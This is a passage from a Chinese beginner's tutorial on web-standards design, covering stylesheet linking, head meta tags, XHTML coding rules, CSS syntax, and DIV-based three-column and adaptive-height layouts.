<P>在符合web标准的设计中，我们使用外部调用法，好处不言而喻，你可以不修改页面只修改.css文件而改变页面的样式。如果所有页面都调用同一个样式表文件，那么改一个样式表文件，可以改变所有文件的样式。</P>
<H3>双表法调用样式表</H3>
<P>查看某些符合标准站点的原代码，你可能看到，在调用样式表的地方有如下2句：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;link rel="stylesheet" rev="stylesheet" href="css/style.css" type="text/css" media="all" /&gt;</FONT></STRONG> <STRONG><FONT face=Verdana color=#60a179>&lt;style type="text/css" media="all"&gt;@import url( css/style01.css );&lt;/style&gt;</FONT></STRONG> <BR></P>
<P>为什么要写两次呢？</P>
<P>实际上一般情况下用外联法调用(就是第一句)就足够了。我这里使用双表调用只是一种示例。其中的"@import"命令用于输入样式表。而"@import"命令在netscape 4.0版本浏览器是无效的。也就是说，当你希望某些效果在netscape 4.0浏览器中隐藏，在4.0以上或其它浏览器中又显示的时候，你可以采用"@import"命令方法调用样式表。</P>
<P><STRONG>第5天:head区的其他设置 <BR></STRONG></P>
<P>这些技巧主要讲meta标签设置的，其实与符合web标准关系不大，只要注意在最后加"/"关闭标签就可以，但是既然是入门教程，就写得详细一点吧。</P>
<H3>收藏夹小图标</H3>
<P>如果你将本站<A><FONT color=#60a179>加入收藏夹</FONT></A>，可以看到在收藏夹网址之前的IE图标变成了本站特别的图标<IMG alt="" src="http://www.w3cn.org/article/step/2004/images/logo_w3cn_16x16.gif">。要实现这样效果很简单，首先制作一个16x16的icon图标，命名为favicon.ico，放在根目录下。然后将下面的代码嵌入head区：</P>
<P><STRONG><FONT color=#60a179><FONT face=Verdana>&lt;link rel="icon" href="/favicon.ico" type="image/x-icon" /&gt;<BR>&lt;link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /&gt;</FONT></FONT></STRONG></P>
<H3>为搜索引擎准备的内容</H3>
<P>代码如下，替换成你自己站点的内容就可以：</P>
<UL>
<LI>允许搜索机器人搜索站内所有链接。如果你想某些页面不被搜索，推荐采用<A href="http://www.google.com/search?hl=zh-CN&ie=UTF-8&q=robots.txt%E7%94%A8%E6%B3%95&btnG=%E6%90%9C%E7%B4%A2&lr=lang_zh-CN" target=_blank><FONT color=#60a179>robots.txt方法</FONT></A></LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta content="all" name="robots" /&gt;</FONT></STRONG> <BR></P>
<UL>
<LI>设置站点作者信息</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta name="author" content="ajie@netease.com,阿捷" /&gt;</FONT></STRONG> <BR></P>
<UL>
<LI>设置站点版权信息</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta name="Copyright" content="www.w3cn.org,自由版权,任意转载" /&gt;</FONT></STRONG> <BR></P>
<UL>
<LI>站点的简要介绍(推荐)</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta name="description" content="新网页设计师。web标准的教程站点，推动web标准在中国的应用" /&gt;</FONT></STRONG> <BR></P>
<UL>
<LI>站点的关键词(推荐)</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta content="designing, with, web, standards, xhtml, css, graphic, design, layout, usability, ccessibility, w3c, w3, w3cn, ajie" name="keywords" /&gt;</FONT></STRONG> <BR></P>
<P>先介绍这么多。补充说明，前面花了5节都是讲head区的代码，实际页面内容还一字未提，呵呵，不要急，其实head区是非常重要的，看一个页面的head的代码就可以知道设计师是否够专业。</P>
<P><STRONG>第6天:XHTML代码规范<BR></STRONG></P>
<P>在开始正式内容制作之前，我们必须先了解一下web标准有关代码的规范。了解这些规范可以帮助你少走弯路,尽快通过代码校验。</P>
<H3>1.所有的标记都必须要有一个相应的结束标记</H3>
<P>以前在HTML中，你可以打开许多标签，例如&lt;p&gt;和&lt;li&gt;而不一定写对应的&lt;/p&gt;和&lt;/li&gt;来关闭它们。但在XHTML中这是不合法的。XHTML要求有严谨的结构，所有标签必须关闭。如果是单独不成对的标签，在标签最后加一个"/"来关闭它。例如:</P>
<P><STRONG><FONT color=#60a179><FONT face=Verdana>&lt;br /&gt;&lt;img height="80" alt="网页设计师" src="../images/logo_w3cn_200x80.gif" width="200" /&gt;</FONT></FONT></STRONG> <BR></P>
<H3>2.所有标签的元素和属性的名字都必须使用小写</H3>
<P>与HTML不一样，XHTML对大小写是敏感的，&lt;title&gt;和&lt;TITLE&gt;是不同的标签。XHTML要求所有的标签和属性的名字都必须使用小写。例如：&lt;BODY&gt;必须写成&lt;body&gt; 。大小写夹杂也是不被认可的，通常dreamweaver自动生成的属性名字"onMouseOver"也必须修改成"onmouseover"。</P>
<H3>3.所有的XML标记都必须合理嵌套</H3>
<P>同样因为XHTML要求有严谨的结构，因此所有的嵌套都必须按顺序，以前我们这样写的代码：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;p&gt;&lt;b&gt;&lt;/p&gt;/b&gt;</FONT></STRONG> <BR></P>
<P>必须修改为：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;p&gt;&lt;b&gt;&lt;/b&gt;/p&gt;</FONT></STRONG> <BR></P>
<P>就是说，一层一层的嵌套必须是严格对称。</P>
<H3>4.所有的属性必须用引号""括起来</H3>
<P>在HTML中，你可以不需要给属性值加引号，但是在XHTML中，它们必须被加引号。例如:</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;height=80&gt;</FONT></STRONG> <BR></P>
<P>必须修改为：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;height="80"&gt;</FONT></STRONG> <BR></P>
<P>特殊情况，你需要在属性值里使用双引号，你可以用"，单引号可以使用&apos;，例如：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;alt="say&apos;hello&apos;"&gt;</FONT></STRONG> <BR></P>
<H3>5.把所有&lt;和&特殊符号用编码表示</H3>
<UL>
<LI>任何小于号（&lt;），不是标签的一部分，都必须被编码为<STRONG><FONT face=Verdana color=#60a179>& l t ;</FONT></STRONG> <BR>
<LI>任何大于号（&gt;），不是标签的一部分，都必须被编码为<STRONG><FONT face=Verdana color=#60a179>& g t ;</FONT></STRONG> <BR>
<LI>任何与号（&），不是实体的一部分的，都必须被编码为<STRONG><FONT face=Verdana color=#60a179>& a m p;</FONT></STRONG> </LI></UL>
<P>注：以上字符之间无空格。</P>
<H3>6.给所有属性赋一个值</H3>
<P>XHTML规定所有属性都必须有一个值，没有值的就重复本身。例如：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;td nowrap&gt;</FONT></STRONG> <STRONG><FONT face=Verdana color=#60a179>&lt;input type="checkbox" name="shirt" value="medium" checked&gt;</FONT></STRONG> <BR></P>
<P>必须修改为：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;td nowrap="nowrap"&gt;</FONT></STRONG> <STRONG><FONT face=Verdana color=#60a179>&lt;input type="checkbox" name="shirt" value="medium" checked="checked"&gt;</FONT></STRONG> <BR></P>
<H3>7.不要在注释内容中使“--”</H3>
<P>“--”只能发生在XHTML注释的开头和结束，也就是说，在内容中它们不再有效。例如下面的代码是无效的:</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!--这里是注释-----------这里是注释--&gt;</FONT></STRONG> <BR></P>
<P>用等号或者空格替换内部的虚线。</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!--这里是注释============这里是注释--&gt;</FONT></STRONG> <BR></P>
<P>以上这些规范有的看上去比较奇怪，但这一切都是为了使我们的代码有一个统一、唯一的标准，便于以后的数据再利用。</P>
<P><STRONG>第7天:CSS入门<BR></STRONG></P>
<P>在了解XHTML代码规范后，我们就要进行CSS布局。首先先介绍一些CSS的入门知识。如果你已经很熟悉了，可以跳过这一节，<A href="http://www.w3cn.org/article/step/2004/34.html" target=_blank><FONT color=#666666>直接进入下一节。</FONT></A></P>
<P>CSS是Cascading Style Sheets(层叠样式表)的缩写。是一种对web文档添加样式的简单机制，属于表现层的布局语言。</P>
<H3>1.基本语法规范</H3>
<P>分析一个典型CSS的语句：</P>
<P><STRONG><FONT face=Verdana color=#60a179>p {COLOR:#FF0000;BACKGROUND:#FFFFFF}</FONT></STRONG> <BR></P>
<UL>
<LI>其中"p"我们称为"选择器"(selectors)，指明我们要给"p"定义样式； <BR>
<LI>样式声明写在一对大括号"{}"中； <BR>
<LI>COLOR和BACKGROUND称为"属性"(property)，不同属性之间用分号";"分隔； <BR>
<LI>"#FF0000"和"#FFFFFF"是属性的值(value)。</LI></UL>
<H3>2.颜色值</H3>
<P>颜色值可以用RGB值写，例如：<STRONG><FONT face=Verdana color=#60a179>color : rgb(255,0,0)</FONT></STRONG>，也可以用十六进制写，就象上面例子<STRONG><FONT face=Verdana color=#60a179>color:#FF0000</FONT></STRONG>。如果十六进制值是成对重复的可以简写，效果一样。例如:#FF0000可以写成#F00。但如果不重复就不可以简写，例如#FC1A1B必须写满六位。</P>
<H3>3.定义字体</H3>
<P>web标准推荐如下字体定义方法：</P>
<P><STRONG><FONT face=Verdana color=#60a179>body { font-family : "Lucida Grande", Verdana, Lucida, Arial, Helvetica, 宋体,sans-serif; }</FONT></STRONG> <BR></P>
<UL>
<LI>字体按照所列出的顺序选用。如果用户的计算机含有Lucida Grande字体，文档将被指定为Lucida Grande。没有的话，就被指定为Verdana字体，如果也没有Verdana，就指定为Lucida字体，依此类推，； <BR>
<LI>Lucida Grande字体适合Mac OS X； <BR>
<LI>Verdana字体适合所有的Windows系统； <BR>
<LI>Lucida适合UNIX用户 <BR>
<LI>"宋体"适合中文简体用户; <BR>
<LI>如果所列出的字体都不能用，则默认的sans-serif字体能保证调用; </LI></UL>
<H3>4.群选择器</H3>
<P>当几个元素样式属性一样时，可以共同调用一个声明，元素之间用逗号分隔，：<STRONG><FONT face=Verdana color=#60a179> p, td, li { font-size : 12px ; }</FONT></STRONG> </P>
<H3>5.派生选择器</H3>
<P>可以使用派生选择器给一个元素里的子元素定义样式，例如这样：</P>
<P><STRONG><FONT face=Verdana color=#60a179>li strong { font-style : italic; font-weight : normal；} </FONT></STRONG></P>
<P>就是给li下面的子元素strong定义一个斜体不加粗的样式。</P>
<H3>6.id选择器</H3>
<P>用CSS布局主要用层"div"来实现，而div的样式通过"id选择器"来定义。例如我们首先定义一个层</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;div id="menubar"&gt;&lt;/div&gt;</FONT></STRONG> <BR></P>
<P>然后在样式表里这样定义：</P>
<P><STRONG><FONT face=Verdana color=#60a179>#menubar {MARGIN: 0px;BACKGROUND: #FEFEFE;COLOR: #666;}</FONT></STRONG> <BR></P>
<P>其中"menubar"是你自己定义的id名称。注意在前面加"#"号。</P>
<P>id选择器也同样支持派生，例如：</P>
<P><STRONG><FONT face=Verdana color=#60a179>#menubar p { text-align : right; margin-top : 10px; }</FONT></STRONG> <BR></P>
<P>这个方法主要用来定义层和那些比较复杂，有多个派生的元素。</P>
<H3>6.类别选择器</H3>
<P>在CSS里用一个点开头表示类别选择器定义，例如：</P>
<P><STRONG><FONT face=Verdana color=#60a179>.14px {color : #f60 ;font-size:14px ;}</FONT></STRONG> <BR></P>
<P>在页面中，用class="类别名"的方法调用：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;span class="14px"&gt;14px大小的字体&lt;/span&gt;</FONT></STRONG> <BR></P>
<P>这个方法比较简单灵活，可以随时根据页面需要新建和删除。</P>
<H3>7.定义链接的样式</H3>
<P>CSS中用四个伪类来定义链接的样式，分别是：a:link、a:visited、a:hover和a : active，例如：</P>
<P><STRONG><FONT face=Verdana color=#60a179>a:link{font-weight : bold ;text-decoration : none ;color : #c00 ;}<BR>a:visited {font-weight : bold ;text-decoration : none ;color : #c30 ;}<BR>a:hover {font-weight : bold ;text-decoration : underline ;color : #f60 ;}<BR>a:active {font-weight : bold ;text-decoration : none ;color : #F90 ;} </FONT></STRONG></P>
<P>以上语句分别定义了"链接、已访问过的链接、鼠标停在上方时、点下鼠标时"的样式。注意，必须按以上顺序写，否则显示可能和你预想的不一样。记住它们的顺序是“LVHA”。</P>
<P>呵呵，看了这么多，有点头晕吧，实际上CSS的语法规范还有很多，这里列的只是一些常用的，毕竟我们是循序渐进，不可能一口吃成胖子:)</P>
<P><STRONG>第8天:CSS布局入门<BR>
<STYLE type=text/css>
&lt;br&gt;#sample{&lt;br&gt;MARGIN: 10px 10px 10px 10px;&lt;br&gt;PADDING:20px 10px 10px 20px;&lt;br&gt;BORDER-TOP: #CCC 2px solid;&lt;br&gt;BORDER-RIGHT: #CCC 2px solid;&lt;br&gt;BORDER-BOTTOM: #CCC 2px solid;&lt;br&gt;BORDER-LEFT: #CCC 2px solid;&lt;br&gt;BACKGROUND: url(images/bg_poem.jpg) #FEFEFE no-repeat right bottom;&lt;br&gt;COLOR: #666;&lt;br&gt;TEXT-ALIGN: center;&lt;br&gt;LINE-HEIGHT: 150%;&lt;br&gt;WIDTH:600;&lt;br&gt;}&lt;br&gt;
</STYLE>
</STRONG></P>
<P>CSS布局与传统表格(table)布局最大的区别在于：原来的定位都是采用表格，通过表格的间距或者用无色透明的GIF图片来控制文布局版块的间距；而现在则采用层(div)来定位，通过层的margin,padding,border等属性来控制版块的间距。</P>
<H3>1.定义DIV</H3>
<P>分析一个典型的定义div例子：</P>
<P><STRONG><FONT face=Verdana color=#60a179>#sample{ MARGIN: 10px 10px 10px 10px;<BR>PADDING:20px 10px 10px 20px; <BR>BORDER-TOP: #CCC 2px solid;<BR>BORDER-RIGHT: #CCC 2px solid;<BR>BORDER-BOTTOM: #CCC 2px solid;<BR>BORDER-LEFT: #CCC 2px solid;<BR>BACKGROUND: url(images/bg_poem.jpg) #FEFEFE no-repeat right bottom;<BR>COLOR: #666;<BR>TEXT-ALIGN: center;<BR>LINE-HEIGHT: 150%; WIDTH:60%; } </FONT></STRONG></P>
<P>说明如下：</P>
<UL>
<LI>层的名称为sample，在页面中用<STRONG><FONT face=Verdana color=#60a179>&lt;div id="sample"&gt;</FONT></STRONG>就可以调用这个样式。 <BR>
<LI>MARGIN是指层的边框以外留的空白，用于页边距或者与其它层制造一个间距。"10px 10px 10px 10px"分别代表"上右下左"(顺时针方向)四个边距，如果都一样，可以缩写成"<STRONG><FONT face=Verdana color=#60a179>MARGIN: 10px;</FONT></STRONG>"。如果边距为零，要写成"<STRONG><FONT face=Verdana color=#60a179>MARGIN: 0px;</FONT></STRONG>"。注意：当值是零时，除了RGB颜色值0%必须跟百分号，其他情况后面可以不跟单位"px"。MARGIN是透明元素，不能定义颜色。 <BR>
<LI>PADDING是指层的边框到层的内容之间的空白。和margin一样，分别指定上右下左边框到内容的距离。如果都一样，可以缩写成"<STRONG><FONT face=Verdana color=#60a179>PADDING:0px</FONT></STRONG>"。单独指定左边可以写成"PADDING-LEFT: 0px;"。PADDING是透明元素，不能定义颜色。 <BR>
<LI>BORDER是指层的边框，"BORDER-RIGHT: #CCC 2px solid;"是定义层的右边框颜色为"#CCC"，宽度为"2px"，样式为"solid"直线。如果要虚线样式可以用"dotted"。 <BR>
<LI>BACKGROUND是定义层的背景。分2级定义，先定义图片背景，采用"url(../images/bg_logo.gif)"来指定背景图片路径；其次定义背景色"#FEFEFE"。"<STRONG><FONT face=Verdana color=#60a179>no-repeat</FONT></STRONG>"指背景图片不需要重复，如果需要横向重复用"<STRONG><FONT face=Verdana color=#60a179>repeat-x</FONT></STRONG>",纵向重复用"<STRONG><FONT face=Verdana color=#60a179>repeat-y</FONT></STRONG>",重复铺满整个背景用"repeat"。后面的"right bottom;"是指背景图片从右下角开始。如果没有背景图片可以只定义背景色<STRONG><FONT face=Verdana color=#60a179>BACKGROUND: #FEFEFE</FONT></STRONG> <BR>
<LI>COLOR用于定义字体颜色，上一节已经介绍过。 <BR>
<LI>TEXT-ALIGN用来定义层中的内容排列方式，center居中,left居左,right居右。 <BR>
<LI>LINE-HEIGHT定义行高，150%是指高度为标准高度的150%，也可以写作：<STRONG><FONT face=Verdana color=#60a179>LINE-HEIGHT:1.5</FONT></STRONG>或者LINE-HEIGHT:1.5em，都是一样的意思。 <BR>
<LI>WIDTH是定义层的宽度，可以采用固定值，例如500px，也可以采用百分比，象这里的"60%"。要注意的是:这个宽度仅仅指你内容的宽度，不包含margin,border和padding。但在有些浏览器中不是这么定义的，需要你多试试。 </LI></UL>
<P>下面是这个层的实际表现:</P>
<DIV>
<P>这里是演示内容，这里是演示内容，这里是演示内容，这里是演示内容，这里是演示内容，这里是演示内容，这里是演示内容，这里是演示内容，</P>
<P>这里是演示内容，这里是演示内容，</P>
<P>这里是演示内容，这里是演示内容，</P>这里是演示内容...</DIV>
<P>我们可以看到边框是2px的灰色，背景图片在右下没有重复，内容距离上和左边框20px，内容居中，一切和预想的一样。hoho，虽然不好看，但它是最基本的，掌握了它，你就已经学会一半的CSS布局技术了。就是这样，不算难吧！(另一半是什么？另一半是层与层之间的定位。我会在后面逐步讲解。)</P>
<H3>2.CSS2盒模型</H3>
<P>自从1996年CSS1的推出，W3C组织就建议把所有网页上的对像都放在一个盒(box)中，设计师可以通过创建定义来控制这个盒的属性，这些对像包括段落、列表、标题、图片以及层&lt;div&gt;。盒模型主要定义四个区域：内容(content)、边框距(padding)、边界(border)和边距(margin)。上面我们讲的sample层就是一个典型的盒。对于初学者，经常会搞不清楚margin，background-color，background-image，padding，content，border之间的层次、关系和相互影响。这里提供一张盒模型的3D示意图，希望便于你的理解和记忆。</P>
<P><IMG alt="" src="http://www.w3cn.org/article/step/2004/images/cssbox3d.gif"> <BR></P>
<H3>3.辅助图片一律用背景处理</H3>
<P>用XHTML+CSS布局，有一个技术一开始让你不习惯，应该说是一种思维方式与传统表格布局不一样，那就是：所有辅助图片都用背景来实现。类似这样：</P>
<P><STRONG><FONT face=Verdana color=#60a179>BACKGROUND: url(images/bg_poem.jpg) #FEFEFE no-repeat right bottom;</FONT></STRONG> <BR></P>
<P>尽管可以用&lt;img&gt;直接插在内容中，但这是不推荐的。这里的"辅助图片"是指那些不是作为页面要表达的内容的一部分，而仅仅用于修饰、间隔、提醒的图片。例如：相册中的图片、图片新闻中的图片，上面的3d盒模型图片都属于内容的一部分，它们可以用&lt;img&gt;元素直接插在页面里，而其它的类似logo，标题图片，列表前缀图片都必须采用背景方式或者其他CSS方式显示。</P>
<P>这样做的原因有2点：</P>
<UL>
<LI>将表现与结构彻底相分离(参考阅读另一篇文章：《<A href="http://www.w3cn.org/article/tips/2004/43.html" target=_blank><FONT color=#60a179>理解表现与结构相分离</FONT></A>》)，用CSS控制所有的外观表现，便于改版。 <BR>
<LI>使页面更具有易用性，更有亲和力。例如：盲人使用屏幕阅读机，用背景技术实现的图片就不会被朗读出来。</LI></UL>
<P><STRONG>第9天:第一个CSS布局实例<BR></STRONG></P>
<P>接下来开始要真正设计布局了。和传统的方法一样，你首先要在脑海里有大致的轮廓构想，然后用photoshop把它画出来。你可能看到有关web标准的站点大都很朴素，因为web标准更关注结构和内容，实际上它与网页的美观没有根本冲突，你想怎么设计就怎么设计，用传统表格方法实现的布局，用DIV也可以实现。技术有一个成熟的过程，把DIV看成和TABLE一样的工具，如何运用就看你的想象力了。</P>
<P>注：在实际应用过程中，DIV在有些地方的确不如表格方便，比如背景色的定义。但任何事情都有得有失，取舍在于你的价值判断。好，不罗嗦了，我们开始：</P>
<H3>1.确定布局</H3>
<P>w3cn的最初设计草图如下：</P>
<P><IMG alt="" src="http://www.w3cn.org/article/step/2004/images/copy_w3cnhome.gif"> <BR></P>
<P>用表格的设计方法的话，一般都是上中下三行布局<IMG alt="" src="http://www.w3cn.org/article/step/2004/images/layout_table.gif">。用DIV的话，我考虑使用三列来布局,成为这样<IMG alt="" src="http://www.w3cn.org/article/step/2004/images/layout_css1.gif">。</P>
<H3>2.定义body样式</H3>
<P>先定义整个页面的body的样式,代码如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>body { MARGIN: 0px;<BR>PADDING: 0px; <BR>BACKGROUND: url(../images/bg_logo.gif) #FEFEFE no-repeat right bottom;<BR>FONT-FAMILY: 'Lucida Grande','Lucida Sans Unicode','宋体','新宋体',arial,verdana,sans-serif;<BR>COLOR: #666;<BR>FONT-SIZE:12px;<BR>LINE-HEIGHT:150%; } </FONT></STRONG></P>
<P>以上代码的作用在上一天的教程有详细说明，大家应该一看就明白。定义了边框边距为0；背景颜色为#FEFEFE，背景图片为bg_logo.gif，图片位于页面右下角，不重复；定义了字体尺寸为12px；字体颜色为#666;行高150%。</P>
<H3>3.定义主要的div</H3>
<P>初次使用CSS布局，我决定采用固定宽度的三列布局(比自适应分辨率的设计简单,hoho，别说我偷懒，先实现简单的，增加点信心嘛！)。分别定义左中右的宽度为200:300:280，在CSS中如下定义:</P>
<P><BR><STRONG><FONT face=Verdana color=#60a179>/*定义页面左列样式*/<BR>#left{ WIDTH:200px;<BR>MARGIN: 0px;<BR>PADDING: 0px;<BR>BACKGROUND: #CDCDCD;<BR>}<BR>/*定义页面中列样式*/<BR>#middle{ POSITION: absolute;<BR>LEFT:200px;<BR>TOP:0px;<BR>WIDTH:300px;<BR>MARGIN: 0px;<BR>PADDING: 0px;<BR>BACKGROUND: #DADADA;<BR>}<BR>/*定义页面右列样式*/<BR>#right{ POSITION: absolute;<BR>LEFT:500px;<BR>TOP:0px;<BR>WIDTH:280px;<BR>MARGIN: 0px;<BR>PADDING: 0px;<BR>BACKGROUND: #FFF; } </FONT></STRONG></P>
<P>注意：定义中列和右列div我都采用了<STRONG><FONT face=Verdana color=#60a179>POSITION: absolute;</FONT></STRONG>，然后分别定义了<STRONG><FONT face=Verdana color=#60a179>LEFT:200px;TOP:0px;</FONT></STRONG>和<STRONG><FONT face=Verdana color=#60a179>LEFT:500px;TOP:0px;</FONT></STRONG>这是这个布局的关键，我采用了层的绝对定位。定义中间列距离页面左边框200px，距离顶部0px；定义右列距离页面左边框500px，距离顶部0px；。</P>
<P>这时候整个页面的代码是：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<BR>&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="gb2312"&gt;<BR>&lt;head&gt;<BR>&lt;title&gt;欢迎进入新《网页设计师》:web标准教程及推广&lt;/title&gt;<BR>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;<BR>&lt;meta http-equiv="Content-Language" content="gb2312" /&gt;<BR>&lt;meta content="all" name="robots" /&gt;<BR>&lt;meta name="author" content="ajie(at)netease.com,阿捷" /&gt;<BR>&lt;meta name="Copyright" content="www.w3cn.org,自由版权,任意转载" /&gt;<BR>&lt;meta name="description" content="新网页设计师,web标准的教程站点,推动web标准在中国的应用." /&gt;<BR>&lt;meta content="web标准,教程,web, standards, xhtml, css, usability, accessibility" name="keywords" /&gt;<BR>&lt;link rel="icon" href="/favicon.ico" type="image/x-icon" /&gt;<BR>&lt;link rel="shortcut icon" href="http://www.w3cn.org/favicon.ico" type="image/x-icon" /&gt;<BR>&lt;link rel="stylesheet" rev="stylesheet" href="css/style01.css" type="text/css" media="all" /&gt;<BR>&lt;/head&gt;<BR>&lt;body&gt;<BR>&lt;div id="left"&gt;页面左列&lt;/div&gt;<BR>&lt;div id="middle"&gt;页面中列&lt;/div&gt;<BR>&lt;div id="right"&gt;页面右列&lt;/div&gt;<BR>&lt;/body&gt;<BR>&lt;/html&gt; </FONT></STRONG></P>
<P>这时候页面的效果仅仅可以看到三个并列的灰色矩形，和一个背景图。但是我希望高度是满屏的，怎么办呢？</P>
<H3>4.100%自适应高度?</H3>
<P>为了保持三列有同样的高度，我尝试在#left、#middle和#right中设置"<STRONG><FONT face=Verdana color=#60a179>height:100%;</FONT></STRONG>"，但发现完全没有预想的自适应高度效果。经过一番尝试后，我只好给每个div一个绝对高度:"height:1000px;"，并且随着内容的增加，需要不断修正这个值。难道没有办法自适应高度了吗？随着阿捷自己学习的深入，发现一个变通的解决办法，实际上根本不需要设置100%，我们已经被table思维禁锢太深了，这个办法在下一节的学习中详细介绍。</P>
<P><STRONG>第10天:自适应高度<BR>
<STYLE type=text/css>
&lt;br&gt;#pagebox{&lt;br&gt;margin:0px;&lt;br&gt;PADDING:20px;&lt;br&gt;BACKGROUND: #FFF;&lt;br&gt;FONT-FAMILY: arial,'宋体','新宋体',verdana,sans-serif;&lt;br&gt;WIDTH:600px;&lt;br&gt;}&lt;br&gt;#header{&lt;br&gt;MARGIN: 0px;&lt;br&gt;BORDER: 0px;&lt;br&gt;BACKGROUND: #ccd2de;&nbsp;&nbsp; &lt;br&gt;WIDTH: 580px;&nbsp;&nbsp;&lt;br&gt;HEIGHT: 60px;}&lt;br&gt;#mainbox {&lt;br&gt;MARGIN: 0px; &lt;br&gt;WIDTH: 580px;&lt;br&gt;BACKGROUND: #FFF; &lt;br&gt;}&lt;br&gt;#menu{&lt;br&gt;FLOAT: right;&lt;br&gt;MARGIN: 2px 0px 2px 0px;&lt;br&gt;PADDING:0px 0px 0px 0px;&lt;br&gt;WIDTH: 400px; &lt;br&gt;BACKGROUND: #ccd2de; &lt;br&gt;}&lt;br&gt;#content{&lt;br&gt;FLOAT: right; &lt;br&gt;MARGIN: 1px 0px 2px 0px; &lt;br&gt;PADDING:0px;&lt;br&gt;WIDTH: 400px;&lt;br&gt;BACKGROUND: #E0EFDE;}&lt;br&gt;#sidebar{&lt;br&gt;FLOAT: left;&lt;br&gt;MARGIN: 2px 2px 0px 0px;&lt;br&gt;PADDING: 0px; &lt;br&gt;BACKGROUND: #F2F3F7; &lt;br&gt; WIDTH: 170px; &lt;br&gt;}&lt;br&gt;#footer{&lt;br&gt;CLEAR: both; &lt;br&gt;MARGIN: 0px 0px 0px 0px;&lt;br&gt;PADDING: 5px 0px 5px 0px;&lt;br&gt;BACKGROUND: #ccd2de; &lt;br&gt;HEIGHT: 40px;&lt;br&gt;WIDTH: 580px;&lt;br&gt;}&lt;br&gt;
</STYLE>
</STRONG></P>
<P>如果我们想在3列布局的最后加一行页脚，放版权之类的信息。就遇到必须对齐3列底部的问题。在table布局中，我们用大表格嵌套小表格的方法，可以很方便对齐三列；而用div布局，三列独立分散，内容高低不同，就很难对齐。其实我们完全可以嵌套div，把三列放进一个DIV中，就做到了底部对齐。下面是实现例子(白色背景框模拟一个页面)：</P>
<DIV>Body <BR>
<DIV>这里是#header{ MARGIN: 0px; BORDER: 0px; BACKGROUND: #ccd2de; WIDTH: 580px; HEIGHT: 60px;}</DIV>
<DIV>这里是#mainbox { MARGIN: 0px; WIDTH: 580px; BACKGROUND: #FFF; }包含了#menu,#sidebar和#content <BR>
<DIV>这里是#menu{ FLOAT: right; MARGIN: 2px 0px 2px 0px; PADDING:0px 0px 0px 0px; WIDTH: 400px; BACKGROUND: #ccd2de; }</DIV>
<DIV>
<P>这里是#sidebar{ FLOAT: left; MARGIN: 2px 2px 0px 0px; PADDING: 0px; BACKGROUND: #F2F3F7; WIDTH: 170px; }，背景颜色用的是#main的背景色</P></DIV>
<DIV>
<P>这里是#content{ FLOAT: right; MARGIN: 1px 0px 2px 0px; PADDING:0px; WIDTH: 400px; BACKGROUND: #E0EFDE;}</P>
<P>这里是主要内容，根据内容自动适应高度</P>
<P>这里是主要内容，根据内容自动适应高度</P>
<P>这里是主要内容，根据内容自动适应高度</P></DIV></DIV>
<DIV>这里是#footer{ CLEAR: both; MARGIN: 0px 0px 0px 0px; PADDING: 5px 0px 5px 0px; BACKGROUND: #ccd2de; HEIGHT: 40px; WIDTH: 580px; }。</DIV></DIV>
<P>这个例子的页面主要代码如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;div id="header"&gt;&lt;/div&gt;<BR>&lt;div id="mainbox"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;div id="menu"&gt;&lt;/div&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;div id="sidebar"&gt;&lt;/div&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;div id="content"&gt;&lt;/div&gt;<BR>&lt;/div&gt;<BR>&lt;div id="footer"&gt;&lt;/div&gt; </FONT></STRONG></P>
<P>具体样式表都写在相应版块里了。重点在于#mainbox层嵌套了#menu,#sidebar和#content三个层。当#content的内容增加，#content的高度就会增高，同时#mainbox的高度也会撑开，#footer层就自动下移。这样就实现了高度的自适应。</P>
<P>另外值得注意的是：#menu和#content都是浮动在页面右面"FLOAT: right;",#sidebar是浮动在#menu层的左面"FLOAT: left;"，这是浮动法定位，还可以采用绝对定位来实现这样的效果。</P>
<P>这个方法存在另一个问题，就是侧列#sidebar的背景无法百分之百。一般的解决办法就是用body的背景色来填充满。(不能使用#mainbox的背景色，因为在Mozilla等浏览器中#mainbox的背景色失效。)</P>
<P><STRONG>第11天:不用表格的菜单<BR>
<STYLE type=text/css>
